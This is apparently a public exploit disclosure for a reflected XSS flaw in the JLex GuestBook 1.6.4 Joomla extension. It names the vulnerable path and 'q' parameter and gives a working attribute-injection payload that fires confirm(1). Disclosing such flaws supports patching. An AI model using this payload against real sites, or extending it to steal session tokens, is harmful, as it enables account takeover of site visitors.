# Exploit Title: JLex GuestBook 1.6.4 - Reflected XSS # Exploit Author: CraCkEr # Date: 01/08/2023 # Vendor: JLexArt # Vendor Homepage: https://jlexart.com/ # Software Link: https://extensions.joomla.org/extension/contacts-and-feedback/guest-book/jlex-guestbook/ # Demo: https://jlexguestbook.jlexart.com/ # Version: 1.6.4 # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site ## Greetings The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka CryptoJob (Twitter) twitter.com/0x0CryptoJob ## Description The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials Path: /u/perry-705 GET parameter 'q' is vulnerable to XSS http://website/u/perry-705?q=[XSS]&wl=1 XSS Payloads: db8ck"onfocus="confirm(1)"autofocus="xwu0k